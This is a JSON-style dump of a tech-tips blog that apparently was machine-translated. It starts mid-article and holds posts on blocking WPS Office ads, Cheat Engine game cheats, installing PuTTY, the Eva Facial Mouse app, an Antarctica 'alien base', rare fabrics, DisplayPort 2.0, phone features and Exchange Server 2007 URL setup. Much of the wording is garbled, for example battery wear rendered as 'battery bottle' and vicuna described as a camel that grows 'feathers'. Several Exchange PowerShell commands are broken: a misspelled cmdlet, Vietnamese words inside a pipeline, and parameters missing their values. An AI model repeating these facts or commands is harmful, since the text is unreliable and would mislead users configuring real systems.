folder , then select the wpscenter.exe file .\n  In case the user cannot find the folder, you can return to the screen, right-click the WPS Writer icon or any WPS Office tool and select Properties .\n  A new interface appears, at the Shortcut tab you select Open File Location .\n  When you open the folder on your computer, click on the folder path and click copy the link.\n  Back in the New Inbound Rule Wizard interface, the Program section select Browse and paste the previously copied WPS folder link into the address frame and press Enter. Appears folders to select the wpscenter.exe file and click Next .\n  Step 3:\nSwitch to Action , select Block the connection and click Next.\n  Step 4:\nContinue to click on Profile section, then user selects all 3 options Domain, Private, Public and then click Next to continue.\n  Step 5:\nFinally, go to Name, at the Name bar, enter wpscenter.exe and click Finish to finish.\n  Finally, when you return to the Windows Firewall with Advanced Security interface, you will see that wpscenter.exe is blocked as shown below.\n  In this way, you will no longer worry when using WPS Office to encounter an advertisement status. If you do method 1, but the ad status appears, you should combine way 2 to completely disable ads on WPS Office.\nSee more:\nHow to fix font errors Word, Excel, transcoding fonts super fast Remove PDF file password in 3 steps 10 good tips to help you work more efficiently on Outlook I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpqcpLCsecCdqmannmLEsb%2BMqJ2foZOa\n","link":"/post/how-to-block-ads-on-wps-office/","section":"post","tags":null,"title":"How to block ads on WPS Office"},{"body":" Here is how to hack UT it's a fun thing to learn this can basically be done with any game if you put your mind to it and your imagination Open Cheat Engine and Calculator\nMethod 1of 3:\nHealth Hack (possible anywhere)  Enter a battle and look at your HP. Now, use the calculator and times it by 8 and enter it in the value box. Hit First Scan.\n  Move around until the enemy gets to you, now times the hp u have by 8 now type that into CE and hit scan.\n  There should be one value box left. Double click it, and change the value to 2000000000 and then freeze it. Variation Mana Hack: Repeat the above steps, but use your energy numbers instead of HP.   If you want to use it on mana attacks just do the same as above but just keep using mana then freeze it.\n Method 2of 3:\nMoney hack (any store)  click on status while in a battle find the exp you have.Ex.exp 200 out of 300 do 200 times 8 and you'll get 160 put that in cheat engine that's the example so do that for the first one.\n  kill a monster and see how much exp you have now times that by 8 and put the number in cheat engine and hit next scan.\n  after that click on the remaining address and freeze it with however much experience you want.(Don't do something like a million I did 200k and put on the 500xSpeed hack got up to like 4000Lvl and then changed it down to a low exp and just left it you keep the level though.)\n  freeze  you must do this for all your characters for each slot you have a character in.  Method 3of 3:\nWeapon and def and magic and speed hack and luck hack  first step is get a your old weapon and d equip that and then times the number you have for str by 8 and put it in cheat engine first scan \n  now time the number you have now by 8 and put in cheat engine and then hit next scan \n  what you basically want to do is all that for magic and everything you have.\n  David Pac Update 04 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqCRmLhuwcutoKaZpJp6ta3CraCcqw%3D%3D\n","link":"/post/how-to-hack-ultimate-tactics/","section":"post","tags":null,"title":"How to Hack Ultimate Tactics"},{"body":"This article provides detailed instructions for installing PuTTY on Windows 10, 8 or 7. However, the installation is similar to other Windows versions.\nDownload the installation package First, you need to download the installation package (for example, putty - installer.msi ). If you have a 64-bit Windows computer, you should install the 64-bit version putty-64bit - installer.msi. Almost any computer purchased after 2015 has a 64-bit processor, except for low-cost processors. Many high-end computers sold a few years earlier also used 64-bit versions. If you don't know or don't care, it's safer to use 32bit version (putty - installer.msi).\nYou can download the installation package here.\nStart installation On Windows 10, Edge browser will run the installer when the download is complete. Just click to install the software.\nOn older Windows versions, you may need to run the installer manually. Open Windows Explorer (right-click the Windows icon in the bottom left corner), navigate to the Downloads folder (or wherever you saved the installer), and double-click the file name.\nNote: However, the installation must be done with admin rights (or with an admin account or your personal account must have admin rights).\nSometimes, some people may have trouble installing MSI files.\nConfigure and install When the installer starts, it will display the welcome screen. Just click Next .\n  The installer will then ask for the destination folder to install the software. Almost in all cases, it is best to use the default value. Just click Next .\n  Then, the installer will ask for product features to be installed. You may want to add a shortcut on the screen if you want to use the software regularly. All other options should be enabled. When everything is ready, click Install .\n  When the installation process is completed successfully, the screen with the message ' Completed ' will display. Click Finish to exit the installer.\n  Run PuTTY After a successful installation, you should check to make sure PuTTY is running properly and you can find the program. If you have a shortcut installed on the desktop, you will be able to find the PuTTY icon here. Try clicking (double) on this icon and the software will be opened.\nIf you don't create a shortcut on the desktop, you'll be able to find software from the Windows Start menu in the lower left corner of the screen. The Start menu will vary slightly in every Windows version. On Windows 10, scroll down until you see PuTTY. Open and select PuTTY .\nWhen the software starts, you will get a window with PuTTY Configuration header with a Host Name field in the upper middle section. Try entering the server name to connect in that field and click Open.\n  How to have a server SSH client is used to connect to the SSH server. Since you installed PuTTY, you already have a server to connect to. Server can be placed at your own university, agency or home. You need the server name (for example, student.example.edu) or IP address (for example, 177.33.189.54) to connect. Enter the server name or IP address into the Host Name field.\nIf you don't have a server but want to use it, try installing Tectia SSH Server for Windows or IBM mainframes or OpenSSH on Linux.\nOther SSH clients PuTTY is a pretty good client, but it's a bit old. Its user interface is very outdated and it does not provide a graphical interface for transferring files. For alternatives, see the following SSH clients.\nSSH client is a program that allows to establish a secure and authenticated SSH connection to SSH servers.\nSSH client options in Windows There are several other clients and servers available. There is usually no support for SSH key management and may not have commercial support or 24x7 support.\nTectia SSH is a SSH application that is commercially supported for businesses, with 24x7 support. PuTTY is a free client for SSH and telnet protocols. WinSCP is a free, open-source client application for Windows to transfer files. In addition to transferring files (with FTP, SFTP or SCP protocols), WinSCP also provides basic file management and script support. FileZilla is another free file transfer application. Chrome SSH extension - Google Chrome browser can be converted into an SSH client application with a utility available in the Chrome Web Store. Chrome SSH (beta) provides a basic amount of SSH protocol.   Bitvise is a European software company, specializing in providing SSH client for Windows. You can download Bitvise SSH Client here. VanDyke Software provides their commercial client software for free, but there is a time limit. The SecureDRT and SecureFX client of VanDyke support telnet, Secure Shell (SSH) and SFTP. Download the trial version here. See more:\nProtect VNC connection by SSH Back up the entire website with SSH Command Line Install SSH on the Router for secure web access anywhere ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmp66spK56sLqMsKCnnJ%2BswA%3D%3D\n","link":"/post/how-to-install-putty-on-windows/","section":"post","tags":null,"title":"How to install PuTTY on Windows"},{"body":"Application Facial Mouse is a free application on Google Playstore that allows users to use face or head movement to control Android devices. The application will use the device's front or rear camera to record face movement and rely on it to control the mouse cursor on the screen and perform actions on the phone.\nAlthough this application is quite useful when it is possible to help people with disabilities in their hands, fingers or broken hands can use smartphones, but this application is also quite limited when not integrated be with most games. The following article will show you how to use the Eva Facial Mouse application to control Android devices by face gestures.\nDownload and install the Eva Facial Mouse application   To begin, you first need to download the Eva Facial Mouse application to your device. Although this is a free application, it offers extremely interesting features.\nDownload Eva Facial Mouse to your device\nAllow access After installing and opening the application, Eva Facial Mouse will ask you for permission to enable the app, click OK to agree. Then turn on Eva Facial Mouse's switch to On in the upper right corner of the screen and click OK .\n  Next you will have to agree to the items and terms required by the application. If you use Mashmallow's Android operating system or higher, you will have to agree to allow Eva Facial Mouse to use the device's Camera.\n  Install Eva Facial Mouse as the device's default keyboard Click Next 2 times to advance to the keyboard section of the application. Now read the instructions on the screen and follow by clicking the Settings word on the screen, then the application will open the installation item on your device.\n  Scroll down and open the Language \u0026amp; Input section . Here, you need to find and select the Eva Keyboard as the device's default keyboard.\n  After the installation is complete, return to the application and you will see a green check mark appear, which means you have successfully installed the Eva keyboard as the default keyboard, click Next.\n  Identify your face Now the application will try to proceed to identify your face. Set the device straight to your face with a distance of about 30-50 cm. Try to match your face with the hint on the screen and notice the light. After the identification is completed, the application screen will display the words Face detected , click Next .\n  Now, there will be a mouse pointer on the screen. Once you move the head, the mouse pointer will move in the corresponding direction. If you feel the mouse pointer moves too fast or too slowly, use the + or - keys to adjust the horizontal and vertical speeds accordingly.\n  Move face to control device Once you've finished installing, you can completely control your Android device by moving your face or moving your head to move the mouse cursor.\nTo be able to open items or applications on the screen, move the mouse pointer to the application location and stay there for a few seconds. Then the screen will appear with small options for you to choose actions such as pressing or holding on to the application. Continue to adjust the cursor to the option you want. Then the application will be turned on.\n  Also on the left side of the screen will have a toolbar that allows you to move into it to perform other operations such as exiting the application, opening the keyboard .\nEpilogue\nEva Facial Mouse application gives users interesting features as well as new experiences, but the application still needs to improve a bit, such as adding other gestures to choose from such as shaking the head, wink . Even so, this is still a good application that is completely free for Android users.\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0ecWoqWato567qHnEr5hmnpGYtqK4jKamrquVYq6xvMuimpqsmaS7bsDOZpqopqSnvK15wKebq6eZmXqlsdWimp5lkq56rrvVoqWgZZaWsKY%3D\n","link":"/post/instructions-for-using-eva-facial-mouse-application-to-control-android-device-by-moving-face/","section":"post","tags":null,"title":"Instructions for using Eva Facial Mouse application to control Android device by moving face"},{"body":"Using Google Earth, people discovered two secret entrances in Antarctica. According to UFO hunters this may be the entrance of the underground military base or alien base. They even discovered that there was a flying disc-like object near the entrance to one of the two caves.\nMysterious cosmic signals of aliens challenge the scientific world NASA admits the spaceship was flying as fast as a bullet hit by UFOs   Two mysterious caves in Antarctica were discovered by Google Earth.(Photo: Internet).\nBut those who do not believe in the existence of aliens say that these are just ordinary caves, formed over time due to severe weather conditions in the area.\n\nVideo process of detecting two caves with Google Earth.\nncG1vNJzZmismaXArq3KnmWcp51ktrR506GgrGWRo3q2usOeqaCqn6q7pXnApaCepl2qu6Wx0aCpqK2emXqjrdKeZKKmXZa7ta3RnKuim5E%3D\n","link":"/post/is-this-an-underground-alien-underground-base-in-antarctica/","section":"post","tags":null,"title":"Is this an underground alien underground base in Antarctica?"},{"body":"Around the world there are many expensive items. In particular, in the fashion industry, prices are sometimes at an unbelievable number. So what makes the clothes or fashion accessories so expensive? Brand, design, . and sometimes even unique materials.\n1. Baby Cashmere (Wool Cashmere) Cashmere wool is a special fabric originating from Mongolia and China. People consider cashmere as the king of fabrics. However, not all cashmere wool has been created in such a way as Baby Cashmere.\n The leading Italian fabric manufacturer, Loro Piana, has created a unique fabric. He used the hair of a young Hircus goat in Mongolia and northern China to produce Baby Cashmere. Each goat is only collected once only in its lifetime, following an extremely meticulous and rigorous process. Each individual Hircus goat only collected 80g of fiber, after screening selected, only about 30-40g was used. This type of filament is thinner than ordinary cashmere wool and produces a 20% softer fabric.\n2. Len vicuna Vicuna is a traditional fabric from the center of the Andes, South America. The vicuna wool is woven from the shoulders and neck of a camel without a gift of vicuna. For a long time, the production process of this wool was only passed down in the Inca royal watch. Therefore, in the 20th century, when the nobility mastered this recipe, vicuna camels were hunted to the point of almost extinction.\n Today, for the production of vicuna wool, many companies have poured their money and time into restoring this camel to get their fur. However, even when the vicuna camel is protected, the price of vicuna wool remains high in the sky. The reason is because vicuna is difficult to raise. Each bird only produces 500g of feathers annually and must wait 2 years to get the next coat. Currently, there are only 3 companies that exclusively manufacture vicuna wool in the world. A vicuna wool suit, priced at least $ 50,000, is limited in apparel and unique color.\n3. Len shahtoosh  Len shahtoosh is a rare competitor that is able to compete with vicuna wool in terms of price and elaborate manufacturing process. Shatoosh wool is made from the fuzz of a Tibetan antelope and only top weavers in Kashmir are qualified to make products from this yarn. However, if the camel without the vicuna is preserved, the Tibetan antelope - the main raw material for making shatoosh wool - is on the verge of extinction. Many countries have banned the production and trade of shahtoosh wool. The current price of shahtoosh wool is about $ 5,000 for a scarf.\n4. Diamond Chip (Fabric from diamond chips)  In 1938, a boss named Otto Hertz was setting up the Scabal textile factory and came up with a unique diamond rags called Diamond Chip. This precious fabric is made up of diamond chips mixed with Super 150s wool and silk. Scabal bones also created many other expensive fabrics, including 24k gold fabric, platinum or lapis lazuli.\nncG1vNJzZmismaXArq3KnmWcp51kuaat0adkraCVYoFuuc6sq2adqKWyr7%2FIr5xmnpGXv6qv0magp2WknbJuw86ro50%3D\n","link":"/post/learn-the-4-most-expensive-fabrics-in-the-world/","section":"post","tags":null,"title":"Learn the 4 most expensive fabrics in the world"},{"body":"Technology is developing at a fast pace. The addition of the new DisplayPort 2.0 standard, announced in June 2019, creates an interesting advantage for consumers who have a superior connection over today's HDMI cables.\nWhile HDMI 2.1 certainly has its own benefits, the new DisplayPort 2.0 specification allows for up to a great 16K resolution, along with higher refresh rates. This is all thanks to nearly three times the bandwidth of DisplayPort 1.4a.\nHere is everything you need to know about DisplayPort 2.0.\nWhen will DisplayPort 2.0 appear? The Video Electronics Standards Association (VESA) is an organization that standardizes DisplayPort technology. The organization said that the first products with DisplayPort 2.0 will be launched by the end of 2020.\nResolution, refresh rate and color Typical DisplayPort connection includes 4 lanes. Each lane has a set of dedicated twisted pair wires. According to VESA, the new DisplayPort 2.0 standard pushes the total speed up to 77.4 gigabits per second. That's a significant increase over DisplayPort 1.4a, achieving only 25.92 gigabits per second in all 4 lanes. Costs are also smaller by switching to the encoding scheme 128b / 132b.\nFor a single monitor, DisplayPort 2.0 handles 15360 × 8460 (16K) resolution with HDR at 60Hz and up to 30 bits per pixel (30bpp). This requires VESA's Display Stream Compression (DSC 1.2a) to push the high number of pixels beyond current hardware limitations. DSC promises to bring a 'lossless' experience, meaning no loss of image quality due to compression.\nDisplayPort 2.0 also supports 10240 x 4320 (10K) resolution without HDR at 80Hz and up to 24bpp. This single screen resolution does not require compression.\nIf you don't want to run screens with such billboard sizes, DisplayPort 2.0 provides excellent resolution for dual screen setups. For example, you can run two monitors with a resolution of 7680 × 4320 (8K) and HDR at 120Hz with 30bpp (requires DSC). If you want a higher refresh rate, lower the resolution to 3840 × 2160 (4K) to get 144Hz at 24bpp, no compression needed.\nSetting with three screens is also supported. DisplayPort 2.0 allows 10240 × 4320 (10K) at 60Hz and 30bpp when compressed. And like a dual monitor setup, you can lower the resolution to get a better refresh rate: 3840 × 2160 (4K) at 90Hz and 30bpp without compressing it on three screens.\nPlease be aware of 30bpp support listed with some resolutions. It's a 30-bit color, a significant upgrade over the typical 24-bit color. Of which 24-bit supports 26.7 million different colors, 30-bit exponentially increases to more than 1 billion colors, necessary for HDR10.\nNew and old connectors DisplayPort 2.0 uses the same traditional DisplayPort connector. It is backward compatible with all previous DisplayPort standards.\nLike DisplayPort 1.4, the new standard works with USB-C ports that support DP Alt Mode. Here, you can use a single cable for both video and data, allowing high-speed data delivery without affecting video performance. However, not all USB-C ports support DP Alt Mode.\nIn addition to USB-C, DisplayPort 2.0 takes advantage of the physical interface Thunderbolt 3, a more unified standard for the future. Using that physical layer allows DisplayPort 2.0 to use the 128 / 132b encoding scheme more effectively and has a much lower operating cost.\nHowever, with Thunderbolt 3 merging with USB 4, users expect this integration will make DisplayPort 2.0 the de facto cable of choice for high-end displays.\nWhich cable to use depends on your needs. According to Anandtech, the full DisplayPort 2.0 experience requires active (active) cabling with transceivers on both ends, like Thunderbolt 3. That means they will be more expensive. But for 40Gbps or smaller bandwidth requirements, you can still use passive (passive) cables.\nThe energy saving and other features In addition to bandwidth improvements, DisplayPort 2.0 also has a few feature changes, one of which is Panel Replay .\nThis new feature optimizes the way the display refreshes to help control power consumption and heat. For example, with Panel Replay enabled, a smaller device with a high-resolution screen updates only the on-screen change elements. This cuts down on power requirements when used, especially on static websites or other content. It can also help speed up device charging when left or charging.\nVESA DSC is now a mandatory feature for DisplayPort 2.0 certified devices. This almost 'lossless' compression format enables ultra-high refresh and resolution modes for DisplayPort 2.0.\nThe last but not least feature of DisplayPort 2.0 is multithreading. A single DisplayPort 2.0 cable processes multiple image streams, sending them to a hub before distributing the streams to different displays.\nncG1vNJzZmismaXArq3KnmWcp51kwam1zaCqZqyfYrivu9ZmmJunpal6pbXSqaOasaCkv7V5kWk%3D\n","link":"/post/things-to-know-about-displayport-2-0/","section":"post","tags":null,"title":"Things to know about DisplayPort 2.0"},{"body":"Laptop batteries are easily damaged and prone to fire and explosion because they contain so many dangerous and toxic chemicals. The following article will provide you with software to help us check laptop batteries and conduct alternatives when the battery shows signs of failure.\n  1. BatteryCare You can download BatteryCare here https://batterycare.net/en/index.html\n  BatteryCare give us parameters such as battery maker, capacity design ( Designed Capacity ), total tonnage actual battery ( Total Capacity ), Capacity battery current ( Current Capacity ), Voltage ( Charge / discharge rate ), Wear Level ( Battery bottle level ). In which we should pay attention to the Wear Level parameter (battery bottle level) if less than 50% is that we should carry out a new battery replacement plan.\nNote: When installing the BatteryBar software, there will be an step to install external software ( Install Additional Software ). When you reach this step, let us remove the option before clicking Next if we do not want other software to automatically install on your computer.\n  2. BatteryBar You can download BatteryBar here https://batterybarpro.com/basic.php\n  BatteryBar has a pretty neat and easy-to-see interface by displaying icons under the Taskbar. The icon under the Taskbar will show the Battery icon and remaining time. When we hover the mouse over the icon of BatteryBar, the software will display details about the battery such as battery capacity ( Capacity ), Battery Wear ( Battery Wear ) . In particular, battery bottle ( Battery Wear ) is the parameter It's important to help us check the battery level and replace the battery when the level of the bottle is below 50%.\n3. HWmonitor You can download HWmonitor here https://www.cpuid.com/softwares/hwmonitor.html\n  We know that HWmonitor is a software to check the temperature of the CPU, motherboard, HDD . but we do not know HWmonitor also has another useful function that is checking the battery level on a laptop. If we install HWmonitor on laptop there will be Battery and we can check battery level in Levels =\u0026gt; Wear Level .\nWith the top 3 battery level testing software in the article, you download and check the battery for your laptop and replace it when your battery shows signs of bottle. I wish you a new day of study and work effectively!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jGxkpZmgqbyxecGaq62doq56tbHSraCnn12ovKfA1pqpnmWSmsC1\n","link":"/post/top-3-laptop-battery-testing-software-best/","section":"post","tags":null,"title":"Top 3 Laptop battery testing software best"},{"body":"After launching the Samsung Galaxy S8 and S8 Plus duo, users continue to welcome the company's new product Galaxy Note 8. The device generally has many similarities with the Galaxy S8, along with other upgrades. . The camera on the device will work better, with the S Pen with many changes. Especially the smoother experience without frame dropping status that limits the feeling of twitching, or the optimal software for face detection and iris sensitivity.\nAnd if you have a Galaxy Note 8 in your hand, you can experience 5 ways to take different screen shots. With these 5 ways, you can change the way you take photos and use them to suit your needs.\nFrequency handicap from AZ how to take screenshot of Android device screen 1. Take a screenshot of the Note 8 screen using Bixby assistant: Like other virtual assistants like Siri, Google Assistant, . Bixby will support users a lot during the process of using the device. And with Note 8, we just need to activate Bixby Voice and use the Take a screenshot command to take a screenshot . Soon, the device screen will be captured easily.\nWe press and hold the Bibxy button on the left side of the Note 8 device before executing the voice screen capture command.\n  2. Take Note 8 screen by gesture: To take photos of Galaxy Note 8 device screen using gestures, users must first set up installation in the system.\nWe go to Settings ( Advanced )\u0026gt; Advanced Features ( Advanced Features )\u0026gt; Palm Swipe to Capture . Users then activate this feature by switching to On mode .\n  So to take photos of Galaxy Note 8 screen, users only need to swipe from right to left on the screen.\n  3. Screen capture with power button and volume key: This key operation is extremely familiar to users, most Android smartphones take screen shots with the power button and volume down key.\nAfter pressing the key combination above, the device will vibrate and have a ringing tone to notify the device screen capture successfully. To review photos, swipe down from the notification bar and click on Screenshot Captured .\n  4. Use the S Pen to take a screenshot of Note 8: On the Note 8 series, the S Pen has the ability to interact more with users. We can take notes on the screen or take screenshots with Screen Write support in the pen list.\nWe just need to launch Air Command , then click the Screen Write option. Then select the area you want to take a picture or add a note to the image if you want.\nFinally when done, press Crop, Share or Save to to complete the screenshot editing process.\n  5. Take photos of Note 8 screen in rolls: To take a full-screen picture like taking a photo of a document page or a newspaper page, you can use the scroll mode. We just need to press the Power button + volume down button at the same time. After the preview screen screenshot appears, press Next to Scroll Capture to activate the auto-scrolling feature and capture it into a long-format picture.\nTo capture to the desired content, simply touch the screen to stop the scrolling feature.\n  Above are 5 ways to take screenshots on device Galaxy Note 8. Depending on the needs as well as each case of screen capture, which we choose to shoot accordingly. For example, when shooting in the form of document journalism, it is advisable to use a roll capture.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51kgm7DwLKqZqyfYsGit8RmqpyqlZq7tLTOrapmp55itKK4wLGwZqafqbJuhA%3D%3D\n","link":"/post/5-ways-to-take-screenshots-on-galaxy-note-8/","section":"post","tags":null,"title":"5 ways to take screenshots on Galaxy Note 8"},{"body":"Honestly, the feeling when I first received the Find X2 and Find X2 Pro is quite disappointing, because the box design is nothing special compared to the previous generation. If OPPO had previously pulled out the drawer for the first Find X, they will now choose a canning style that is no different from popular products on the market.\n The first Find X box created a feeling of excitement when opened .\n . then the second-generation Find X made me so disappointed in the design and packaging. Even I personally do not like the font of this X2 box.\nBasically, Find X2 and Find X2 Pro are exactly the same in the packaging and color of the box, OPPO only adds the word Pro on this top so we can distinguish.\n The \"core\" inside the box of course there is a difference between the two products, the machine on the left is gray Find X2 Pro and the other is Find X2 blue. Both use quite large 65W chargers, and Find X2 Pro headphones are rubber earbuds for better sound insulation than the Find X2 regular headphones (somewhat similar to Apple's earpods).\n Close-up of Find X2 Pro headphones, with only green border - OPPO's dominant color tone.\nContrary to the \"not so rough shell\", the inner \"core\" of the new generation OPPO Find X is extremely attractive. In my eyes are two machines that have a beautiful, well-designed back and have very unique patterns.\n In recent years, OPPO has put the fingerprints under the glass of some products, and this time with Find X2, they also bring a very unique and unique pattern.\n The more I looked at these sunken patterns in the sunlight, the more I was absorbed in and could not take my eyes off.\n The Find X2 Pro has a wavy pattern, which is harder to see, but when you touch your finger on the back you can feel those lines. The special feature of both Find X2 lines is that the back has a glossy glass back, but the fingerprint resistance is very small and that is something I like very much. Overall, this is one of the few smartphone products that made me forget about the protective case, leave it \"bare\" and use it beautifully, less fingerprints and easy to clean, there is nothing to worry about anymore. .\n The rear camera cluster of both protrudes quite a lot, especially with the FInd X2 Pro version. However, it is understandable because this product is equipped with a 5x optical zoom system and is capable of pushing the furthest zoom 60x (Find X2 is 20x). Compared to other products with the ability to zoom far, it is clear that OPPO's camera cluster is still quite reasonable.\n Despite having 3 cameras, OPPO still chose the vertical design style for its new Find X2 line.\nOPPO Find X2 Pro uses Sony's latest image sensor IMX689, 48 MP resolution, pixel size 1.12 micrometres, dual-pixel focus support, OIS optical image stabilization. Besides that is another 48MP sensor, which is also a super wide-angle camera and a 13MP zoom camera (periscope lens). As a result, Oppo Find X2 Pro is capable of 5x optical zoom, hybrid zoom 10x and digital zoom up to 60x.\nAs for Find X2, it only uses a 48MP IMX586 image sensor, a 12MP wide-angle camera, and a 13MP telephoto camera, doesn't have a periscope lens and can only have 3x optical zoom.\n The maximum zoom capability of both: regular version is 20x and Pro version is 60x thanks to the help of periscope lens.\nBoth 2 are equipped with 6.7 inch 10bit AMOLED screen, 3168 × 1440p resolution, 20: 9 aspect ratio, 100% DCI-P3 color coverage, protected by Gorilla Glass 6. Screen Find X2 and Find X2 Pro models also have refresh rates up to 120Hz, similar to Samsung's recent Galaxy S20 series. The 32MP punch-hole selfie camera is located in the upper left corner of the screen.\nIn addition, both also support up to 240Hz touch sensitivity for better user experience and gaming,\nInside both are Snapdragon 865 processor, 12 GB LPDDR5 RAM, 512GB UFS 3.0 standard storage on Find X2 Pro and 256GB on Find X2, no external memory card support.\nFind X2 has a battery capacity of 4,200mAh compared to Find X2 Pro with a battery of 4,260mAh. They both support Super VOOC 2 65W fast charging, which can charge 0 - 100% in just 38 minutes.\nncG1vNJzZmismaXArq3KnmWcp51krm6vy6iqnq2gYrynedOhnGanoKW8brLIp5tmsGJiwKa%2ByJ6qZpucnrustc2gZJqan6rBbsDHnmSdnaOetK8%3D\n","link":"/post/a-close-up-of-the-oppo-find-x2-series-clinking-about-the-design/","section":"post","tags":null,"title":"A close-up of the OPPO Find X2 series: clinking about the design"},{"body":"Exchange Server 2007 has a new feature called AutoDiscover, which provides Outlook 2007 with configuration information. These configuration information are sent as XML files and include all the information needed to create profiles automatically as the URLs used by Outlook 2007. The following services can be set up. via AutoDiscover service :\nOffline Address Book (OAB)\n  Unified Messaging\n  Out of Office (OOF)\n  Availability Services\n Within Exchange Server 2007, the post-installation work uses an automatic assignment certificate to occur during the installation of Exchange Server 2007. The built-in certificate contains two names: the NetBIOS name of Exchange Server as cashub1 and a second name uses the FQDN (Full Qualified Domain Name) like cashub1.apatricio.local . The built-in certificate can be viewed using the Certificate snap-in of the local computer, as shown in Figure 1, or using the Get-ExchangeCertificate cmdlet.\n  Figure 1: The built-in certificate created by the Exchange Server 2007 installation process.\nIn this scenario we will allow internal workstations to be configured by the AutoDiscover service. The internal clients will receive a certificate error message when they access the OWA address, as shown in Figure 2.\n  Figure 2: The certificate does not have the Certification Authority (CA) certificate trusted only on the client computer because it is self-assigned\nOK, we can avoid this by using a certificate by a CA trusted by all other machines. This certificate can be used by an internal or external CA. Create a request using the internal CA, use the certificate name mail.apatricio.local and we will create a DNS entry for mail using the CAS IP address.\nNow we can use https: //mail.apatricio.local in any workstation and we will not encounter any certificate errors here. Configure Outlook URL After installing our certificate, all Outlook 2007 clients will receive the following error message the next time they open Outlook, as shown in Figure 3.\n  Figure 3: Error warning when we change the certificate on the Client Access Server\nWhat is happening? Exchange Server 2007 works after installing with a self-signed certificate, when we change the AutoDiscover certificate at the same time when we start to experience this error. Outlook 2007 has a built-in tool that allows us to validate the current URLs we are using. This tool is called Test E-mail Autoconfiguration. We can access it by opening the Outlook 2007 client, holding down the Ctrl key and right-clicking on the Outlook icon.\nIn this tool, you can deselect Use Guessmart, Secure Guessmart Authentication and click Test. After that, we will get all the current URLs set up for Outlook 2007 clients. As you can see in Figure 4, our clients have received the initial configuration pointing them to. Name FQDN of CAS server using HTTPS. But we have deployed the certificate using the name mail.apatricio.local.\n  Figure 4: Default configuration of Web Services URLs on Outlook 2007\nThen change our URLs to the correct address.\nAutoDiscover The internal clients belonging to the domain will use the SCP (Service Connection Point) object to acquire Web Services URL information. We can manage the Autodiscover URL through a pair of cmdlets. To set up this problem, you use the following procedure (the whole process is shown in Figure 6). 1. Check the current configuration Get-ClientAccessServer | Select Name, * Internal * | fl 2. Define the new URL Set-ClientAccessServer –Identity -AutoDiscoverServiceInternalUri: 3. Execute step 1 again to validate the changes\n  Figure 5: Set up AutoDiscover URL to use the correct address\nOAB OAB URLs can be set up using Exchange Management Console or Exchange Management Shell. To configure using the Exchange Management Console, you must follow these steps: 1. Open the Exchange Management Console . 2. Expand Server Configuration section. 3. Click Client Access . 4. Select Client Access Server 5. Click the Offline Address Book Distribution tab, and click Virtual Directory below. 6. In the Actions Toolbox, click Properties , and then click the URLs tab (as shown in Figure 6).\n  Figure 6: Changing the URL value for the OAB virtual directory\nThis setting is on the server; If you have multiple CAS servers, you must configure them for other servers as well.\nWe can also use Get-OABVirtualDirectory and Set-OABVirtualDirectory to list and set up OAB URLs as shown in Figure 7.\n  Figure 7: Virtual OAB directory\nWeb Services is responsible for the Availability Services and OOF URLs in the Outlook 2007 configuration. We can set them up through the Web Services Virtual Directory; The following procedure can be used to perform this task (the entire process is shown in Figure 8): 1. List the current values ​​for internal and external URLs Get-WebServicesVirtualDirectory | Chọn tên, * url * | fl 2. Configure the internal URL to use the new address Set-WebServicesVirtualDirectory -Identity '' –InternalUrl: https: //url.domain.local/EWS/Exchange.asmx 3. List the configuration of Web Services Virtual Directory and check the new values\n  Figure 8: Set properties of Internal URL within Web Services Virtual Directory\nUnified Messaging (Unified messaging) \n Now when setting up the Unified Messaging Service URL, we can do that by using the following procedure (the whole process is shown in Figure 9): 1. List the values ​​of UM Virtual Directory. Get-UMVirutalDirectory | Select Name, * url * | fl 2. Configure the internal URL attribute of UM Virtual Directory (on the server). Set-UMVirtualDirectory –Identity: '' - InternalURL:\n  Figure 9: Setting up UM Virtual Directory Internal URL\nValidate changes We worked on URLs in Outlook 2007, now able to test the results through the Test E-mail feature AutoConfiguration, as shown in Figure 11.\n  Figure 10: New Web Services URLs\nJust make sure that our clients are using Web Services, go to an Outlook 2007 client, click Tools / Send / Receive / Download Address Book , and click OK in the new window. Now check the IIS log files, you will see the connection created by Outlook 2007 to retrieve the OAB through web services, as shown in Figure 11.\n  Figure 11: The process of downloading OAB by an Outlook 2007 client\nConfigure Outlook Anywhere of the URL for clients Here, we have set the Internal URLs for Outlook 2007 clients; Now we will configure Outlook 2007 URLs for Outlook Anywhere clients. When you enable the Outlook Anywhere feature on the CAS Server (Figure 12), you can define External host name and authentication method , both of which are provided through AutoDiscover services.\n  Figure 12: Enable OutlookAnywhere on CAS Server\nNow we can re-check the tool in Outlook 2007 client and we will see new configurations called Exchange HTTP , configurations designed for Outlook Anywhere clients. By default, the values ​​are the same as the Exchange RPC section, see Figure 13.\n  Figure 13: New configuration set used by the Outlook anywhere clients\nAt this point, our task is to change these values ​​to be accessible for the Outlook anywhere clients (usually external clients). How can you change these values? It's very easy! We use the same cmdlets as used for the Exchange RPC section, but the- InternalURL parameter will change to -ExternalURL . Summary of the cmdlets used to configure Outlook 2007 Web Services We have seen how to configure Exchange Server 2007 Virtual Directories using Internal URLs and External URLs. We will have to go through this process when we have a CAS NLB (Network Load Balancing), or define a new URL for internal or external use. The following table summarizes the cmdlets used to define Web Services URLs, necessary permissions and internal / external parameters.\nItem Cmdlet Internal Parameter External Parameter Permission Required OAB Set-OabVirtualDirectory InternalURL ExternalURL Exchange Server Administrator role and local Administrators group for the Web Services / OOF Set-WebServicesVirtualDirectory - Unified Messaging Set-UMVirtualDirectory Conclude In this article, we saw how to configure the Web Services URL to be used by Outlook 2007. This is important during Exchange Server deployment because it is used by all running clients. Outlook 2007.\nncG1vNJzZmismaXArq3KnmWcp51ksLC6xaKerqqVYsSmroysnKuumZiytHnUq6Nmp5Zisrmvx5qloJ1dqLKzwsSrZGtoYGw%3D\n","link":"/post/configure-web-services-url-of-exchange-server-2007/","section":"post","tags":null,"title":"Configure Web Services URL of Exchange Server 2007"},{"body":"Apple has not changed the official iPhone ringtone since iOS 7. This helps every time that sound is heard you can identify the people around you are using iPhone.\nHowever, this has changed when the iPhone is expected to release this year.iPhone X comes with a completely new ringtone, called Reflection, that is Apple's style. The iPhone X ringtone seems to be part of iOS 11.1, and it is available in GM format for those who want to learn more.\nLink to download iPhone X Reflection ringtone will be left at the end of the 